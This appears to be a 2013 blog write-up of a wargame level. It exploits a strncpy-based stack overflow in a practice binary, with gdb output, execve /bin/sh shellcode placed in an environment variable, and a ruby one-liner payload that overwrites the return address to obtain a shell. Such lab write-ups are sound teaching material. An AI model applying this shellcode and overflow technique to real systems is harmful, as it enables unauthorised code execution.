//bla, based on work by nnp
#include <stdio.h>
#include <string.h>
void prompt_name(char *name, char *msg){
char buf[4096];
puts(msg);
read(0, buf, sizeof buf);
*strchr(buf, '\n') = 0;
strncpy(name, buf, 20);
}
void prompt_full_name(char *fullname) {
char last[20];
char first[20];
prompt_name(first, "Please enter your first name: ");
prompt_name(last, "Please enter your last name: ");
strcpy(fullname, first);
strcat(fullname, " ");
strcat(fullname, last);
}
int main(int argc, char **argv){
char fullname[42];
prompt_full_name(fullname);
printf("Welcome, %s\n", fullname);
return 0;
}
The program starts out by declaring a variable buffer fullname
with 42 bytes. It calls prompt_full_name
function with the fullname
buffer as an argument. prompt_full_name
declares 2 buffers, last
and first
each 20 bytes long. Passes the buffers into the prompt_name
function. prompt_name
reads in the values into a buffer and copies the first 20 bytes of data into the argument buffer. Let’s take a look at what strncpy
actually does.
STRCPY(4) Linux Programmer's Manual STRCPY(3)
NAME
strcpy, strncpy - copy a string
SYNOPSIS
#include <string.h>
char *strcpy(char *dest, const char *src);
char *strncpy(char *dest, const char *src, size_t n);
DESCRIPTION
The strcpy() function copies the string pointed to by src, including
the terminating null byte ('\\0'), to the buffer pointed to by dest.
The strings may not overlap, and the destination string dest must be
large enough to receive the copy. Beware of buffer overruns! (See
BUGS.)
The strncpy() function is similar, except that at most n bytes of src
are copied. Warning: If there is no null byte among the first n bytes
of src, the string placed in dest will not be null-terminated.
If the length of src is less than n, strncpy() writes additional null
bytes to dest to ensure that a total of n bytes are written.
So we know that strncpy
will copy all 20 bytes even if it does not contain any null (\0
) bytes. Let’s try to fill the first buffer with 20 bytes without a null terminator followed by another 20 bytes with a null terminator at the end.
level6@io:/levels$ gdb -q level06
Reading symbols from /levels/level06...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level06
Please enter your first name:
AAAAAAAAAAAAAAAAAAAA
Please enter your last name:
BBBBBBBBBBBBBBCCCCC
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBCCCCC BBBBBBBBBBBBBBCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb)
With this vulnerability, it allowed us to copy 20 bytes + 19 bytes + a space + 19 bytes which was enough to overwrite the eip
to cause a segmentation fault.
The space we have to work with is too little to insert the shellcode required. We need to find another way. Turns out that we can store shellcode in an environment variable.
level6@io:/levels$ SHELLCODE=$(ruby -e 'puts "\x90"*100+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"')
level6@io:/levels$ echo $SHELLCODE
ë^1ÀFF
óV
°
̀èãÿÿÿ/bin/sh
level6@io:/levels$
We can find the memory address of this new environment variable that we created with this nifty c program.
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
printf("\n%p\n\n", getenv("SHELLCODE"));
return(0);
}
Let’s find out what our SHELLCODE
environment variable’s address is in memory.
level6@io:/levels$ mkdir /tmp/level6
level6@io:/levels$ cd /tmp/level6
level6@io:/tmp/level6$ vim getenv.c
level6@io:/tmp/level6$ gcc getenv.c -o getenv
level6@io:/tmp/level6$ ./getenv
0xbffffe1c
level6@io:/tmp/level6$
Now we have our SHELLCODE
‘s location, we can craft our exploit.
level6@io:/tmp/level6$ (ruby -e 'puts "A"*20 + "\n" + "A"*4089 + "\x1c\xfe\xff\xbf" + "A"'; cat) | /levels/level06
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿A AAAAAAAAAAAAAAþÿ¿A
whoami
level7
Success!
Published on 25 Apr 2013 by Stanley Tan